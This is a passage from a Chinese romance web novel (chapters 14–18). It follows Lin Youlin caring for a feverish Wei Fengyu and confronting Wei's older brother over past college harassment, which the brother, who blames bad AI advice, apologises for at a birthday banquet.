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烫了。”比平常更炽热的气息打在游临归的皮肤,激起一片鸡皮疙瘩,他用手推了推,没推动,“你房间在哪?我带你去。”
魏丰羽没说话,抬了抬手指楼上。
游临归无奈,半扶半抱地带着魏丰羽往楼上走。在客厅偶遇跪坐在茶几前收拾药箱的阿姨,她打声招呼问需不需要帮忙。
游临归摆摆手拒绝了,并递给阿姨一个口罩。
目前不知道魏丰羽属于是正常的淋雨后引起的发烧感冒,还是流感,总归还是让他身边人做好防护比较好。
游临归扶着魏丰羽上楼,把人安置到床上。
床很大,但半张床摆了一堆北长尾山雀和银喉北尾山雀的公仔玩偶,大大小小的白胖宝宝有层次地叠在一起,十分可爱温馨。
看起来很好团。
游临归看了眼抱着被子,缩着腿侧躺的魏丰羽,没想到他爱鸟爱到这种地步。
拉过一旁的椅子坐下,游临归戳了戳他滚烫的脸颊:“小羽,私人医生什么时候来呀?”
“唔...”魏丰羽迷迷糊糊,“快了吧。”
魏丰铠早上临走前打得电话,他困得厌倦,不知道几点来。
“好吧。”游临归站起身,准备去给魏丰羽弄点温水来降降温。
刚起身,手腕就被魏丰羽攥得死紧。
“去哪里?”
“给你弄点水降降温,你现在太烫了。”
现在只能祈祷私人医生赶紧来,听魏丰羽的表述,弟弟喂的应该是儿童退烧药,起不了什么大作用。
“快点回来。”魏丰羽松开他的手,有气无力地指了指右边的门,“卫生间...毛巾用粉色那条...”
游临归应了声,快步走向卫生间,取了架子上挂着毛巾浸水拧干,折成方块状攥在掌心,重新回到床前,替魏丰羽擦拭脖颈和脸颊。
反复几次后,卧室门 “咔哒” 一声被推开,私人医生拎着药箱走进来,身后还跟着端着冰袋的阿姨。
游临归连忙让开位置,看着私人医生将体温计塞进魏丰羽腋下。
“38.7℃。”医生皱眉,转头面向游临归,“刚刚有吃药吗?”
“没有。”他如实回答。
“打一针退烧看看,没有明显的呼吸道症状,只是普通的风寒感冒引起的高烧。”
医生从药箱里取出针剂和消毒棉片,游临归盯着针剂缓缓被推进皮肤,脑袋一阵眼前发黑眩晕,但见魏丰羽仍然躺在床上,若无其事。
“好了。” 医生拔出针头,贴上创可贴,“半小时后体温应该能降下来。”
阿姨及时上前,用毛巾包裹冰袋,伏在魏丰羽额头上方。
“你脸色比病人还差。” 医生收拾药箱调侃道,“是不是晕针?”
游临归依然扶着床头柜,好一会儿才缓过神回应:“有点。”
“以后不要盯着针尖看,”医生提起药箱,点了点留在床头柜上包好的药丸,“晚上再探一探温度有没有降下来,没有的话吃一次这个,第二天还是没有降下来得送去医院了。”
“好的。”游临归盯着医生离开的背影,直到房门轻轻合上,才舒了口气,坐在床边的椅子。
魏丰羽高大的身躯蜷缩在被子里,游临归稍微拉了拉被角,好让鼻子露出来。
“别把脑袋窝在被子里,会不透气的。”他的柔声带着歉意,“是我的问题,害你生病那么难受。”
“没有,”魏丰羽咕哝着调整睡姿,伸出另一只没有打针的手,带着讨好的意味摩挲游临归的膝盖,“在我这...你永远是对的,永远没问题...”
15. 第 15 章
游临归一直陪伴魏丰羽到晚上,期间给他喂了点阿姨做的小米粥和白水。
差不多到时间时,伸手碰了碰他的额头,已经恢复到正常的体温。
“咳咳。”他轻咳一声,见魏丰羽还在睡着,便蹑手蹑脚起身出房间给自己打了杯水。
干痒的咽喉被温水浸润,游临归顿然舒服许多。
大门的智能锁突然响起,他向玄关处望去,魏丰锐正低头换鞋,抬头的一瞬对上视线,他淡漠的神情陡然惊愕。
“游临归?你怎么在这?”魏丰锐走上前,“给你打电话,你没有回应,我今天陆陆续续又给你发了消息,你也没回,没想到你竟然在我家。”
游临归放下杯子,笑容里带了一丝不悦:“这是我的问题,不过魏丰羽发烧烧得很厉害,你总不会不知道吧?”
魏丰锐脱下西装外套,随意地扔在沙发上,也喝了一口水,无所谓道:“知道。那小子身体强壮,生病一向好得快,况且我们有私人医生。”
啊...这么冷淡?游临归不由得皱了皱眉。
“那你作为哥哥总得回来看一下吧?”
魏丰锐耸耸肩:“公司的会议可比他重要多了。谁不知道他是不是故意生病招你心疼,让你特地跑过来一趟照顾他。”
语毕,魏丰锐抬手想揉一揉游临归的粉发,却被他一偏头躲开。
“看来你出到社会也没有学会如何讲话。”游临归往后退了几步,语速急切,“那可是你弟弟,你就这么看他?”
“我怎么看他?”魏丰锐被他这一般护短的模样气笑,“你可能不知道,那次去他去农家乐,特意给我发消息让我编个理由不去接他,好让他顺理成章在你那留宿。要不是我在电话里把他骂醒,他指不定现在对你蹬鼻子上脸。”
游临归怔愣,农家乐那一次吗?
怪不得看魏丰羽挂断电话后的神情如此奇怪,原来是这样。
魏丰锐坐在沙发,扯了扯领带:“怎么?现在才知道吗。我就知道那小子肯定不会跟你说。”
“没有发生的事情为什么要说?”游临归哼了一声,“比起他这种小手段,你不关心弟弟死活,一点兄弟情也没有更加冷血吧?”
魏丰锐一把拉住游临归的手,他没有防备地陷进柔软的沙发。
两人的距离骤然缩短,近到游临归能看清魏丰锐眼底的疲惫。
“冷血?我不是说了吗,他身体很好,而且有私人医生,死不了。何况只是一个发烧。”
游临归被他突如其来的逼近弄得十分不爽,动了动手想要挣脱禁锢,却无济于事。
“这和身体好不好还有私人医生有什么关系,重点是你有没有给魏丰羽安慰啊。”
“他需要我的安慰吗?”魏丰锐思索,魏丰羽之前生病都没和他说过,摇了摇头,“应该是不太需要。”
游临归喘着气,魏丰锐整个人笼罩住他,甚至右手还紧紧钳住他的手腕,压迫得他油然想起一些不好的回忆。
“你现在这什么表情,刚见面那会儿不是我们不是挺融洽的吗?”魏丰锐凑近了脸。
游临归盯着他的动作,笑不达眼底。
还好意思提,要不是魏丰羽在场,我高低给你甩脸子。
“你能不能先松开我呢?”他的声音藏着威胁。
“这个姿势挺好的,你好像几年过去没什么变化啊...”魏丰锐凑得更近了。
“啪——”
清脆的巴掌声在客厅里格外清晰。
魏丰锐的脸偏到一边,脸颊上迅速浮现一个红印。
他缓缓转过头,眼中闪过一丝难以置信。
“你打我?”
游临归趁机挣脱他的钳制,迅速站起身,用另一只手给他另一边脸颊也来上一巴掌。
“我都说了让你放开放开,弄疼我了。”他无语地转了转酸痛的手腕。
“哈。”魏丰锐捂着又烫又痛的脸蛋,顶了顶腮,“我怎么感觉这画面似曾相识呢。”
“似曾相识?似曾相识就对了。”游临归说道,“那天晚上你喝醉酒亲我脸的时候也被我打了。”
多亏家里人教的防身术,游临归本来以为他一个男人应该用不上,结果疯狂打他的脸。
魏丰锐突然愣了,大声说:“你不是说是我太醉了摔地上了吗?!”
“你想得挺美!”游临归回怼,记忆如潮水般涌来。
大学时期,他和魏丰锐一直是舍友关系。
四人间的宿舍因为两个学长大三实习大四毕业而变得十分宽敞,后来也没再进什么人。
游临归一直是慢热的性子,何况和魏丰锐不是一个系,很多时候专业课时间都是错开的。
奈何不了魏丰锐是个外向的社交恐怖分子,总能挑出他空闲的时间一起约饭聚餐,甚至不知从哪得到的消息,和他选了同一门选修。
可能是因为那会儿还没太熟,游临归见魏丰锐认真浇花栽树的模样多了几分好感,二人也就离了近些。
可惜这种兄弟情义没能一直维持。大三下那会儿游临归忙着做实习申请和专业课收尾,焦头烂额,对着电脑从白天到黑夜。
有一回晚上,魏丰锐卡着门禁点醉醺醺地回到宿舍,身上不仅有浓烈的酒精味,还有刺鼻的香水味,难闻的二手烟味。
游临归当时正对着电脑屏幕改实习报告,被这股混合气味呛得皱紧眉头。
他没回头,只听见魏丰锐踢掉鞋子,摇摇晃晃地走到他身后,温热的手掌突然按在他的肩膀上,指腹隔着薄薄的T恤摩挲他脊背的形状。
游临归被这气味刺激得反胃,没理他,自顾自地起身去开窗户,却被魏丰锐钳住手腕,魁梧的身躯将他笼罩。
那是游临归第一次在魏丰锐眼里看到属于花花公子的玩味,甚至还没反应过来,他的嘴唇就已经贴在自己的脸颊上。
游临归强忍干呕,未被禁锢的手一巴掌呼了过去,趁着他吃痛的间隙,立马将他的手翻转压在地上。
“所以你是因为我喝醉了亲你才疏远我的?”魏丰锐捂着脸颊委屈地问。
“不一定,你后面那几周做的事情也很让我讨厌。”游临归说,话语间带上了许久未出现的厌恶,“和神经病没什么区别。”
“那不是我...”魏丰锐想反驳,话到口中却噎住。
他好像确实做的不是个人。
那天喝酒喝断片了,晚上发生的事情都忘却了,只记得梦里迷迷糊糊亲了游临归,甚至还做了不可言说的事情。
他可是一直把游临归当好兄弟的啊,也一直没怀疑过自己的性取向。
但一想到那个亲吻,那个梦,又不知为何游临归莫名其妙的疏离,抓得魏丰锐魂不守舍,问过AI后才得知自己被确诊深柜了。
从那以后,游临归的生活成了荒诞剧。
图书馆闭馆后,总有人影在窗外晃动;晾衣绳上的衬衫不翼而飞,次日又带着陌生香水味挂回来;甚至半夜惊醒,总有一双刺骨的眼睛盯着他的
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床铺。
直到游临归搬进实习基地,考研时期又在校外租房,渐渐地消失在魏丰锐视野里,他才豁然反应。
他哪是深柜,只是对游临归生理性喜欢,甚至谈不上爱情。
魏丰锐有些心虚地说:“那我不是道歉了吗。”
“那我也接受了你的道歉。”游临归冷脸。
他承认与多年老友叙旧时确实有喜悦,毕竟此前的关系还算不错,他也没忘记魏丰锐本科几年对自己的照顾。
只要不做出令他创伤后应激的动作,游临归都能装出一副平和的模样。
空气突然凝固。
游临归不想继续在客厅耗着,匆匆上楼,魏丰锐望着他离开的背影,懊恼地揉了揉头。
推开门,魏丰羽已经坐了起来,床头柜上游临归带过来的糖果盒子也拆开,甚至少了一颗糖果。
魏丰羽率先开口:“游哥,谢谢你大老远跑过来,糖果很好吃。”
“你喜欢就好。”游临归笑了下,重新坐回椅子上,尽量不让自己显露出太多表情。
“刚刚去干什么了?”魏丰羽突然问。
“喝水。”
“喝了吗?”
“嗯。”
魏丰羽攥着糖果纸,把盒子往游临归面前推了推:“橙子味的,你也吃。”
“给你带的,我不吃。”游临归摇摇头,“身体好点了吗?”
“非常好。”魏丰羽把袖子撸起来,拍了拍自己‘雄伟’的肱二头肌,“可以扛起我的相机追着小鸟来回跑。”
“刚退烧就想观鸟?”游临归忍俊不禁,蓦然回想起网上对观鸟人的评价,“网上都说你们是一生倔强的观鸟人,果然是。”
“染上鸟瘾就戒不掉了,”魏丰羽从角落柜子里掏出那天的徕卡相机,“我为了拍小鸟买了很多设备。”
魏丰羽稍微侧身,柜子里陈列的摄影设备如数家珍,大大小小,同一个牌子不同型号的相机也有好几台。
游临归眼尖地注意到那台相机,记录了他与魏丰羽的初次见面。
嗯...他们认识多久了?
“游哥给你,你靠过来我这。”魏丰羽调出照片,将相机放在他手上,从床头柜掏出一个N95戴上,“这下我们能一起看了,绝对不会传染你。”
“咚咚——”
房门被敲打的声音打搅这副宁静。
二人不约而同地向门外看去,映入眼帘是穿着日常服的魏丰锐,手上还拿着一封请柬,目光落在游临归的身上。
魏丰羽的声音有点奇怪:“哥,怎么了?”
魏丰锐没搭理他,自顾自地说:“下周日我的生日会,这是请柬。”
游临归垂着眼皮,看了看那封近在咫尺的红色请柬,不懂魏丰锐究竟下一步行动。
他们可是刚在大厅大吵一架,现在又当做若无其事样递上一封生日邀请。
怎么想都觉得很诡异。
“我给你打电话也是为了和你说这事,接着。”魏丰锐强行把请柬塞在游临归怀里,“请柬我送到了,来不来看你自己。”
他临走前睇了一眼魏丰羽,说:“魏丰羽,好点了吗?”
“呃,好点了。”
“行,有事叫我。”
门扉轻合,二人对视了一眼。
游临归:“你觉得你哥哥怎么样?”
魏丰羽回忆:“我哥吗?还行。我上初中的那会儿第一次见他,他黑着脸,我感觉挺不好相处的。”
16. 第 16 章
游临归微微瞪大了眼,斟酌了一会儿问:“你上初中才第一次见魏丰锐?”
“是啊,我之前一直在外公外婆家住的。”魏丰羽耸耸肩,调到下一章图片,是一只正在浅水的黑水鸡,“别说这些了。游哥你看,我刚好拍到了黑水鸡跳起来在水里找食物,不错吧。”
游临归心不在焉地看了看那张不算太糊的照片,点点头:“还可以,不过建议你下可以试下用尼康p1000拍鸟,对焦效果更好,我看你柜子里也有。”
“那我下次就拿那个相机拍。”
游临归第二天早上还有工作,不论魏丰羽怎样死缠烂打,他的态度都很坚决。
“真的不能留下来吗?打车回去还要好久...”魏丰羽抱着肥啾抱枕,站在玄关处还在苦苦哀求。
“真的不能,”游临归穿好鞋,捏了捏他手上的肥啾,手感很Q弹,“明天早上再赶回去的话时间就来不及了。抱歉小羽,我也很想留下来多和你聊聊天。”
魏丰羽噘着嘴,好一会儿咕哝一句:“好,好吧。路上小心。”
“你也是,注意身体,糖果记得吃。”
魏丰羽点点头,依依不舍地望着游临归离开,直到他的身影消失在视线里,他才把门关上。
“你是不是听到了?”魏丰锐不知何时出现在魏丰羽的身后。
魏丰羽面色冷下来,转过身与魏丰锐对峙,玄关的暖黄顶灯照得他更加阴暗。
“我该听到吗?哥。”
“唉。”魏丰锐挠挠头发,“你听没听到都不影响。”
魏丰羽皱眉:“怎么会不影响?你是我哥,你给游临归留下不好的印象,他就会对我的印象不好,那我追求他岂不是更加坎坷?”
他只是听到清脆的巴掌声,却没想到魏丰锐大学时期如此离谱,是可以被挂上校园墙引起人神共愤的程度。
魏丰羽不能想象游临归被跟踪时,被人在暗处盯着的那种惊恐,气得身体都有些发抖,甚至不能接受他一向尊重的哥哥,会做出如此行为。
……
游临归坐在返回万林别墅的车上,紧拧着眉毛,一直想着魏丰羽所说的‘初中时第一次见他’,一万种猜忌在脑海里不停打转,扰得他太阳穴突突直跳。
他打开背包,翻出小瓶风油精,涂在太阳穴处。
不一会儿刺激的清凉开始发作,让他稍微舒服了一点。
搭在大腿上的请柬异常显眼,游临归拆开,只是简单流程性的俳句,没有什么特殊的。
去还是不去?这是一个问题。
他脑海的小人争论不休。
“去吧,小游,念在旧情,他还待你不错,吃喝玩乐都愿意想着你。去吧!就当做是给这段友谊的收尾。”一个小人说。
另一个小人不满地叉腰:“去什么去?刚刚在客厅你看他多不要脸!这一定是一场有预谋的鸿门宴,不准去!”
游临归盯着请柬上烫金的日期,脑海里莫名地蹦出第三个小人。
“小游和小羽已经认识一个月啦!恭喜恭喜!”
“嗯?”意识到什么的游临归正襟危坐起来,点开日程表,“真的认识一个月了,好快啊。”
游临归回想起当初遇见魏丰羽时的场景,他的脸蛋也是红扑扑的,额角布满了汗水,和早上见到的形象有些相似。
唯一的差别,也许就是初见时的魏丰羽是精致的、惹眼的、冷酷的。
不过...
一个月下来,他和魏丰羽一同发生的事情太多太多。
观鸟、农家乐、插花、带孩子...
而这些事情的结果导向,却总能让游临归挖掘出魏丰羽身上的闪光点,莫名地引着他往一条道路走。
更奇怪的是,他竟然完全不反感。
“嗯...我感觉我好像有点变了。”游临归喃喃自语。
若是放在以前,他绝对不会这么快的去结交新的朋友,甚至如此迅速与新朋友打成一片,甚至大老远花钱打车过来照顾。
难道李欧叔那天说的话真的影响他了?
“先生,到了。”司机的声音将他拉回现实。
游临归回过神来,付完车费下了车。
夜风微凉,风油精残留的清凉伴随着微风让他混沌的大脑清醒了一些。
游临归回到房间,掏出工牌,翻转到背面,是他和魏丰羽那天在月湖公园的合照。
“或许我真的变了。”
他盯着合照看了许久,想。
——
游临归手里攥着请柬,带着礼物,站在酒店门口。
最终还是选择来了,他在心里默默思忖。
原因无他,魏丰锐的宴请理因是在他得知魏丰羽发烧前的。
推过来想,游临归若是首先点开魏丰锐打过来的电话,他会直接答应,而不会有太多考虑。
抛开魏丰锐那几周“疯狂”的行迹,他确实对自己挺好的。
于情于理,他都应该来。
至少把礼物送了再走。
游临归无声叹了口气,递过请柬,有些局促地往酒店里走去。
宴会厅金碧辉煌,水晶灯的光斑穿透缝隙,投下碎砖的涟漪。三层高的香槟塔在宴会厅中央熠熠生辉,侍者托着银盘穿梭其间。
游临归下意识寻找魏丰锐的身影,想赶紧把礼物送到手离开,却在香槟塔旁捕捉到一个熟悉的背影——魏丰羽穿着剪裁得体的深黑西装,正低头摆弄着相机。
他找了个角落,掏出手机给魏丰羽发了个消息。
【归临游:小羽,你往左手边角落看看。】
游临归看着他从外套里掏出手机,看到消息立马抬起头,目光在人群中急切地搜寻。
当他终于锁定角落里含笑的游临归,眼睛一亮,快步穿过觥筹交错的人群。
“游哥,你来为什么不和我说?”魏丰羽在他面前停下脚步,故作委屈。
他还以为游哥不来呢,正想拍完照片偷偷溜之大吉。
魏丰羽摸了摸另一个口袋的硬物。
这次一定要把话挑明。
“本来没想来,”游临归晃了晃手中的礼物袋,打趣道,“突然想起来你应该会到场,想见见你,所以就来了。”
游临归说到后半段语速放缓,观察着魏丰羽的表情。
果不其然,他的耳尖瞬间红了,下意识地摸了摸口袋。
游临归注意到他的动作,目光落在他鼓囊的口袋,却被他身形一撇,遮住了视线。
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“那,那个...这是给我哥的礼物吗?”魏丰羽结结巴巴地开口,“要不然我帮你送过去?”
他伸手就要去拿礼品袋,却被拦下。
“我等下亲手送过去。”游临归说,看了他一眼挂脖的相机,“你怎么还带着相机来?这可没有小鸟。”
“拍香槟塔。”魏丰羽调出照片,搁在他跟前,“我拍的不错吧?”
游临归笑了,魏丰羽的表情和讨要夸赞的孩子没什么两样。
照片确实拍得不错,水晶杯层层堆叠成七层高塔,在灯光下折射出光晕。
最为出彩的是这张图看似静态,实则动态。
巧妙应用遮挡原理将倒酒侍从化为虚影,褐黄的琼浆从顶端的酒杯直流而下,触碰杯沿时,跳动的液珠栩栩如生。
香槟塔身后的虚影觥筹交错,奢华靡丽的质感镂刻流动肌理。
看惯了魏丰羽拍的形态各异的鸟图,此刻这张倒是让游临归大为惊讶。
“拍得特别好,很有感觉。”
游临归对摄影也是略懂皮毛,不过可以把这张照片发给父亲品鉴品鉴。
他父亲也拍过上流宴会的香槟塔。
听到游临归的夸赞,魏丰羽咧开唇角,笑得傻气:“我是仿照一个特别喜欢摄影博主拍的。一开始接触摄影除了想拍很多的小鸟,也是受他的启发。”
游临归连连赞同:“那很好啊,难得有发自内心感兴趣的爱好应该坚持下来。”
“游哥,你不会觉得我是无所事事吗?”魏丰羽突兀地来了一句。
“怎么会,”游临归不理解地眨了眨眼,“每个人都有追求爱好的权利,何况你还发展那么好。”
虽然不知道为什么话题跳转,但魏丰羽主动提起,肯定有他的苦衷。
“你家里人不让你玩摄影吗?”游临归接着问道。
“不是,他们总让我上班,虽然没直接说,但我总怀疑是在背后偷偷说我不务正业。”
“呃,你哥哥?”
“不是,我姐。我哥压根不在乎。”魏丰羽按下关机键,亮起的屏幕熄灭。
游临归若有所思:“可能是想让你帮家里分担一点?”
“怎么可能!”魏丰羽突然嚷嚷,“我姐和姐夫两个人都能顶上半边天了,哪里还需要我的位置...”
“还有另外半边天呢?”
“我哥。”
游临归:....好吧,无言以对,难怪他姐姐会如此着急。
“姐姐劝你上班肯定是需要你,认可你的能力。”游临归安慰他,余光瞄到对面二楼魏丰锐与来宾相谈甚欢的身影,“不要总是把事情往坏的方向去想,相信自己。”
他的手往右摆了摆,示意魏丰羽站过一边,抬脚往对面二楼走去:“我看到你哥了,我去把礼物送了。”
“等下。”魏丰羽喊住他,扭扭捏捏,带着难以察觉的祈求,“游哥,送完礼物和我一起走吗?你想留下来吗?”
游临归转身看他。
魏丰羽站得很笔直,甚至在视线落在他肩颈处,还能感受到他突然地紧绷。
“好啊。”游临归说,拉了拉他的手,企图让他放松些,“我跟你走,期待你带我去的地方。”
17. 第 17 章
顺着拐弯的红木楼梯上去,魏丰锐已然注意到游临归靠近的身影。
香槟杯交碰,方才相聊甚欢的宾客识趣地离开。
二楼左侧宽敞的回廊,只剩下魏丰锐和游临归两人。
“我相信你会来的。”魏丰锐率先开口。
“诺。”游临归不想跟他废话太多,伸手递上白色的礼品袋,“生日礼物。”
魏丰锐眼里闪过一丝惊喜:“我还以为你不会送了。”
“那我不送礼物,为什么要来啊?”
游临归觉得他说的话真是莫名其妙。
魏丰锐稍微打开袋子,是几个精致的盒子,当着送礼人的面不好拆开,他只好强忍住探究欲,回应说:“或许只是来走个过场让我高兴一下呢?大学的时候,只有你不扫我的兴致。”
游临归微笑:“我只是习惯不让话落在地上而已...”
“我当然知道。”魏丰锐把礼品袋放在脚下,从西装内侧抽出一张信封,双手郑重地呈递给游临归,鎏金的漆印格外闪眼。
“这是...?”
游临归的视线在他与信封间来回流转。
“对不起!”在众目睽睽之下,魏丰锐的声音格外大声。
嗯?!
游临归稳不住平静的神色,瞪大了眼,慌张地左顾右望,见一楼会厅有些客人已经将视线落在二人这边,连忙拿过信封,扯住他的衣袖往里走,压低声音。
“魏丰锐,你干嘛突然这么大动静,不要面子了吗?!”
“面子哪有朋友重要?!”他嚷道,“我做了很多思想准备,这次绝对给你一个真诚的道歉。”
那天游临归离开后,他和魏丰羽聊了许久,也是过了这么多年才知道自己原来犯了这么大的错误。
他给游临归留下了难以磨灭的伤害。
尽管这不是魏丰锐的本意。
“我当时真的没有想到我那些行为是错误的。”魏丰锐无奈地仰头看天花板,喃喃自语,“我一直以为他是厌恶朋友变追求者的求爱,所以为这件事道歉了。”
“呵。要真这样就太简单了。”魏丰羽冷笑,翻了个白眼,“哪个正经人追求的方式是跟踪、偷衣服、半夜不睡觉盯着人家的床铺?这放你身上你不瘆得慌啊?”
“AI说的。”魏丰锐懊恼。
“人工智障你也信。”
“所以后面他疏离我之后我再也没用过那个AI软件。”
魏丰羽:“.....”
“那现在你想怎么做?”魏丰羽听完哥哥的忏悔,心里稍微舒服了点,但还是很别扭。
哥哥弟弟竟然对同一个男人产生了‘喜欢’的感觉这算什么?
还有,他哥不是说自己直男吗,不是有性/伴/侣吗,追求到底怎么发生的。
魏丰羽现在有十万个问题迫切希望得到解答。
魏丰锐重重拍桌:“当然是诚心诚意的道歉!我要早一点醒悟过来,高低都不可能和游临归断联两年。”
魏丰羽说的没错,他确实是个没谈过恋爱的雏鸟蛋子,错把真挚的友谊当□□情。
从大一第一眼见游临归时他就欢喜得很。圆圆的桃花眼、圆圆的小鼻头、甚至脸型也是一个偏圆的鹅蛋脸,整个人柔和得没有棱角,看起来像个温顺乖巧的羔羊,锐利感几乎难以窥见。
可惜游临归是个慢热淡人性子,不像他热情奔放,总有使不完的牛劲,故而经常热脸贴冷屁股。
是冰山也会融化,冷屁股贴久了也会变热屁股。
魏丰锐花了整整一年半才真正走进游临归的社交圈。
却发现这人社交圈小得可怜,甚至比他的小拇指径口还要小。
游临归‘最亲密的好友’的头衔,对他而言,可是喜不胜防。
日复一日,久而久之,友谊在那天他喝醉时变了质。
后来一系列的事情...
魏丰锐不想再回忆了。
他真是太下/贱、太无/耻、太不是个人了!
“游临归,我知道现在说这些可能晚了,但我真的欠你一个真正的道歉。”魏丰锐凝视游临归的眼睛,“我一直以为和我疏远是因为我对你的突然的求爱让你感到恐慌,所以第一次的道歉只是针对‘求爱’这件事。”
他说到这缓了缓,见游临归表情还算镇定,手指互相碾磨,继续道:“但是我现在才明白,我真正伤害你的,是那些越界的行为。”
游临归眨了眨眼,突兀地问:“你那个时候在向我求爱?你在追求我?”
“啊,额,嗯。”魏丰锐难以启齿,模模糊糊回道。
“这样啊。”
他疏远的原因除了那个吻,还有是学业缠身,忙得不分昼夜,根本抽不出其他心思去思考魏丰锐的行为是在追求他。
只是单纯觉得这人亲了他的脸过后魔怔了。
以至于后面魏丰锐赶到他的实习基地道歉时,他也没太理解,只觉这人可怖,他都搬到实习基地来了还不放过。
二人就这样不欢而散。
但现在这个场面...
游临归捏着信封的手指微微收紧,忽然觉得有些好笑。
看来他对魏丰锐也有点误解。
“小锐,”他叹了口气,“我当时疏远你,除了因为你喝醉酒莫名其妙亲我,还有就是因为我在准备实习。”
“我压力很大,你又开始神出鬼没地出现在我周围,还偷拿我的东西,我以为你精神出问题了。”
魏丰锐羞愧地低下头,小声嘟囔:“都怪那个AI助手,把我确诊为GAY还尽给我出馊主意。”
游临归没听清,但见他垂眉低头的模样无奈笑了:“后来你去实习基地找我道歉,我只觉得毛骨悚然,心想你怎么连我实习的地方都能找到。”
魏丰锐猛地抬头:“所以你不知道我那会儿在追求你?”
“我以为我们相识三年又是舍友,你应该会比较了解我。”游临归坦然道,“我要知道的话肯定拒绝你,毋庸置疑。”
两人面面相觑,忽然同时笑出了声。
“那你...”魏丰锐稍微往前走了几步,“接受我的道歉吗?”
“再说吧。”游临归晃了晃手中的信封,潋滟的桃花眼充满狡黠,“看你信封写得如何,我回去用朱雀大模型检测一下你有没有用AI,看看你的诚意。”
魏丰锐抬手揉了揉游临归的头发:“我被AI坑惨了,怎
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么可能还会用AI!一字一句都是我诚心诚意写的。”
“喂喂喂,你别动手动脚。”魏丰羽噔噔噔大跨楼梯,把游临归拉过一边,头往魏丰锐的手里撞去,“揉我的,我的好揉!”
“一边去呆着去。”魏丰锐无情地把弟弟当做陀螺打飞。
“靠。”魏丰羽踉跄扶着墙,委屈地看向游临归,“游哥...”
“在呢在呢在呢。”游临归没忘记答应魏丰羽的事情,走近魏丰羽替他顺毛,转头对魏丰锐说,“我答应小羽和他一起走。你知道的,我一向不喜欢喧嚣的宴会。”
魏丰锐看了看弟弟,又想起那天他问的问题。
“你不是说你直男?不是说你有性/伴侣?”魏丰羽质问,“我要没听到那巴掌声,你对游哥做的那些荒唐事还要瞒我到猴年马月!”
他尴尬地笑了笑:“这个嘛...性/伴侣是假的,直男倒是真的。”
“那你为什么要对游哥做那些事情?你有病啊!”魏丰羽怒了。
“都怪AI,”魏丰锐竖起四个手指,“我发誓啊,我对游临归纯友谊,绝对友谊,我们真的是好兄弟,一切都是我咎由自取,我不是人。”
他回过神,又看了看游临归。
游临归应该不太像直的,最起码是个双。
魏丰锐也没见过他对谁有过好感,倒是经常拒绝别人,男的女的都有,也对同/性表白没展现出太大的反感,甚至还会看感人至深的同/性/恋电影。
“去留随意。”魏丰锐摆摆手,看了看腕表,蹲下拿起礼品袋,“我就不送客了。”
游临归点点头,与魏丰羽并行,临走时不忘提醒道:“礼品袋里还有前几年欠你的生日礼物。”
话音落下,头也不回地走下楼梯。
魏丰锐恍然大悟,无奈摇头。
解决这阴差阳错的误会,总不会影响魏丰羽‘追人大业’了吧,他想,望着二人相谈甚欢离去的背影,又发出感叹。
说着是都怪AI,可实际上那段时间,除了AI的误导,还有被疏离的压迫、接手魏氏喘不过气的工作,或许真的是在三重压力下,魏丰锐变得不像自己,变得偏执疯狂。
索性一切还来得及补救。
“都熟稔到这种地步了,可比我当年死皮赖脸花费的时间短多了。”
——
二人出了会场,六七点的时间,夜色还未完全降临。
魏丰羽按下电子遥控钥匙解锁,红旗H9的流水灯闪了两下。
游临归见惯不惯,拉开车门,瞥见后座摆放了一整排的鹦鹉球,按照大小颜色深浅依次排列,像凹凸平滑的信号格。
游临归:...这辆车后座怎么摆了这么多只团子小鸡?!
“这是你摆的吗?”他见魏丰羽上了车,往后座指了指。
“是啊,摆很久了。”魏丰羽看了一眼,脸上是藏不住的自豪,“摆得不错吧?我床上摆不下了。父母出国旅游后这车就只有我开,后座空着也是空着,摆几个公仔看起来还喜庆点。”
游临归的余光瞄到两小腮红,还竖着俩根分叉呆毛的玄凤鹦鹉球,点头赞同:“确实可爱呀,怪不得我们第一次见面你在拍我的鹦鹉。”
18. 第 18 章
魏丰羽心虚地没回应,专注看向前方的道路,他总不能说自己是以为虎皮鹦鹉是被人遗弃了,所以想偷偷揣回家吧。
趁着红绿灯的间隙,魏丰羽又偷偷瞄了一眼正在回消息的游临归。
没事,把饲养员追到揣回家也行。
游临归回完魏丰锐的消息问道:“你打算带我去哪?”
“达到目的地就知道了。”魏丰羽说,踩着油门加了点速度,又按捺不住好奇心,不经意地问道,“游哥,你刚刚看手机在干什么?”
“还能干什么?回消息呀,你哥的。”
魏丰羽点头:“他说什么了。”
“没说什么,就是刚刚道歉的事。”
魏丰锐给他发了很多消息,包括但不限于‘行为没有边界感’、‘不会讲话’等等大学时期和自己有关且有可能会造成伤害的行为,一一都进行了解释与道歉。
游临归对魏丰锐说的这些行径并不在意,毕竟已经过去许多年了,再翻旧账也不是他的个人作风。
倒是他后面发的有关与魏丰羽的关系,让游临归来了点兴致。
“小羽。”
“游哥你说,别太长,我们还在路上。”
游临归笑了下,问道:“你和魏丰锐的关系好吗?”
好耳熟的问题,他没记错的话,上次生病那天游哥好像也问了这个问题,难道是对我上次的回答不满意吗,魏丰羽思索,说:“还好。”
“那你怎么说你哥不在乎。”游临归问道,魏丰锐给他发的摄影设备的购入信息,平日的转账记录和聊天消息,不像是不在乎的样子。
“什么不在乎?”魏丰羽蒙了,他何时说的不在乎,哪种不在乎,怎么一点记忆都没有的。
“.....”游临归神色复杂,他好像又又误会魏丰锐了。
这两兄弟性格好像,一样都不会说话,“你生病那天发微信给我说你哥哥姐姐不在乎你生没生病,刚刚在宴会厅我问你哥哥不让你玩摄影吗,你说他不在乎。”
魏丰羽懵逼:“啊,啊?是我说的吗。”
“是。”
他努力回忆,脑海里闪过方才宴会厅与游临归的交谈,与生病那天的回应,呃,确实是他说的。
靠,他好像在无意识卖惨!
魏丰羽,你好心机。
“这个吧...”魏丰羽脑海风暴思考,“其实,呃,我,其实,其实哥哥对我真的还行,就是不怎么关心我生病。”
“你都不告诉他你生病了他怎么知道嘛。”游临归难得回怼。
要不是魏丰锐给他看发的消息记录,是从他另一个弟弟魏丰铠那知晓魏丰羽生病,游临归真觉得自己得被魏丰羽骗了过去。
魏丰羽沉默,他一个堂堂八尺男儿还要像个小朋友一样生病找哥哥算什么事,真是有损形象。
“那我下次告诉他。”
“还是不要有下次了,照顾好自己,不要生病。”游临归说完,猛然惊觉魏丰羽生病好像是自己造成的,又补了一句,“你生病也有我的原因,那会儿你可能没听清楚,我再给你说声对不起,下次不会让你经历了。”
“不!”他义正言辞,“绝对不是你的问题,游哥!是我身体不够强壮,绝对和你没关系,不要自责。”
